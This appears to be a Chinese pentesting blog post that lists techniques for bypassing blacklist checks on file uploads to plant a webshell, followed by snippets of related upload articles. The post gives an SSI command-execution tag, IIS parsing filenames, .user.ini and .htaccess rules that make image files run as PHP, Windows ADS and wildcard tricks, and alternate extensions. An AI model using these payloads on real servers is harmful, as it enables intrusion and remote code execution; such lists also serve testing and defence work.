文件上传之黑名单验证绕过

当做代码的审计或者文件搞渗文章上传的时候有时候会遇到黑名单的验证码,比如常规的一些脚本名asp php jsp这种的不允许上传,下面是我总结的一些绕过的方法

Shtml

<!--#includefile="/home/www/user8534/nav_foot.htm"--> //可以用来读文件

<!--#exec cmd="ifconfig"--> //可以用来执行命令

iis解析

sanr.php;.gif

sanr.asp;.jpg

sanr.asp/sanr.jpg

.user.ini

User.ini

auto_prepend_file:指定在每个PHP页面执行前所要执行的代码

auto_prepend_file=demo.gif (每个页面都会加载demo.gif)

.htaccess

AddTypeapplication/x-httpd-php     .jpg

Window特性

  1. 利用空格        demo.php空格
  2. 小数点去绕过      demo.php.
  3. Ads数据流         demo.php::$DATA
  4. Ads数据流(但文件是空)  demo.php:jpg

Window通配符   demo.<<<   两者相结合拿到webshell

Tips:直接用3就可以  只不过延伸下window通配符的方法

Window通配符可以在包含文件的时候包含c:window/temp目录临时php文件(文件包含本地测试成功 但是实际渗透很少成功 因为session文件也是php开头 如同时匹配多个文件以php开头的这种,会拿到第一个php文件,不确保是自己上传的临时文件)

大小写绕过

aSp  pHp  JsP

扩展名绕过

Asp:asa  cer  cdx

Aspx: ashx  asmx ascx

Php:  php3 phtml

Jsp:   jspx  jspf

Apache的解析

sanr.php.xxxxxx

时间: 2024-11-06 07:23:31

文件上传之黑名单验证绕过的相关文章

SpringMVC中文件上传的客户端验证

SpringMVC中文件上传的客户端验证 客户端验证主要思想:在jsp页面中利用javascript进行对文件的判断,完成验证后允许上传 验证步骤:1.文件名称 2.获取文件的后缀名称 3.判断哪些文件类型允许上传 4.判断文件大小 5.满足条件后跳转后台实现上传 前台界面(验证上传文件是否格式满足要求): <body> <h2>文件上传</h2> <form action="upload01" method="post" 

FTP文件上传下载及验证

FTP文件上传下载及验证 有时候经常用到FTP的上传下载,本身代码相对比较简单,但有时需要考虑到文件上传下载进行验证.大体思路是上传时将FTP日志重定向到本地文件,再根据FTP返回码进行检查,这样有个缺点就是不能检验文件上传的完整性:下载时利用ls,ll命令查看是否存在. 上传代码 uploadFile() { ftp -i -v -n <<! >/tmp/ftp.log open $FTP_IP $FTP_PORT user $USER_ID $PASSWORD prompt cd $

C#大文件上传(转--待验证)

几种常见的方法,本文主要内容包括:    第一部分:首先我们来说一下如何解决ASP.net中的文件上传大小限制的问题,我们知道在默认情况下ASP.NET的文件上传大小限制为2M,一般情况下,我们可以采用更改Web.Config文件来自定义最大文件大小,如下: 这样上传文件的最大值就变成了4M,但这样并不能让我们无限的扩大 MaxRequestLength的值,因为ASP.NET会将全部文件载入内存后,再加以处理.解决的方法是利用隐含的 HttpWorkerRequest,用它的GetPreloa

文件上传漏洞演示脚本之js验证

文件上传漏洞演示脚本之js验证 0 0 716 关于文件上传漏洞,想必玩web安全的同学们都有接触,之前本站也发布过一篇文章介绍文件上传漏洞的各种绕过方法,但是只是有文档却没有演示代码,最近给公司一客户培训,就照文档中的绕过写出了相应的代码,方便我等小菜研究,此次的文章我会连续发几天都是关于如何绕过的,全都是科普文,很简单的,希望小伙伴们喜欢. 关于文件上传漏洞的文章 绕过文件上传验证 为什么文件上传表单是主要的安全威胁 js验证绕过演示代码 01 <?php 02 /** 03  * Crea

WEB攻击与防御技术 pikachu——文件上传漏洞

文件上传漏洞 一.client check 首先看到标题是客户端验证 用BURP抓包,由于是客户端的检验,直接将抓到的包的文件后缀.png改成.php 发送后发现成功绕过,上传成功 二.MIME type MIME类型还是要借助Burp工具来利用 将content type文件头改成png的文件头 别的都不需要去更改,点击发送就会发现,文件上传成功,MIME绕过成功 三.getimagesize 原文地址:https://www.cnblogs.com/p201721210024/p/12077

深入分析JavaWeb 47 -- Struts2拦截器与文件上传下载

一.struts2中的拦截器(框架功能核心) 1.过滤器VS拦截器 过滤器VS拦截器功能是一回事.过滤器是Servlet规范中的技术,可以对请求和响应进行过滤. 拦截器是Struts2框架中的技术,实现AOP(面向切面)的编程思想,是可插拔的, 可以对访问某个 Action 方法之前或之后实施拦截. 拦截器栈(Interceptor Stack): 将拦截器按一定的顺序联结成一条链. 在访问被拦截的方法时, Struts2拦截器链中的拦截器就会按其之前定义的顺序被依次调用 Struts2执行原理

深入分析JavaWeb Item47 -- Struts2拦截器与文件上传下载

一.struts2中的拦截器(框架功能核心) 1.过滤器VS拦截器 过滤器VS拦截器功能是一回事. 过滤器是Servlet规范中的技术,能够对请求和响应进行过滤. 拦截器是Struts2框架中的技术.实现AOP(面向切面)的编程思想.是可插拔的, 能够对訪问某个 Action 方法之前或之后实施拦截. 拦截器栈(Interceptor Stack): 将拦截器按一定的顺序联结成一条链. 在訪问被拦截的方法时, Struts2拦截器链中的拦截器就会按其之前定义的顺序被依次调用 Struts2运行原

flask 文件上传(单文件上传、多文件上传)

文件上传 在HTML中,渲染一个文件上传字段只需要将<input>标签的type属性设为file,即<input type=”file”>. 这会在浏览器中渲染成一个文件上传字段,单击文件选择按钮会打开文件选择窗口,选择对应的文件后,被选择的文件名会显示在文件选择按钮旁边. 在服务器端,可以和普通数据一样获取上传文件数据并保存.不过需要考虑安全问题,文件上传的漏洞也是比较流行的攻击方式.除了常规的CSRF防范,我们还需要重点关注这几个问题:验证文件类型.验证文件大小.过滤文件名 定

PHP 文件上传之如何识别文件伪装?——PHP的fileinfo扩展可!

问题:文件上传时候需要验证上传的文件是否合法,文件伪装如何识别? 一个简单测试:把txt文件后缀直接改成jpg;上传 <!DOCTYPE html> <html> <title>test</title> <body> <form enctype="multipart/form-data" action="test.php" method="POST"> <!-- MAX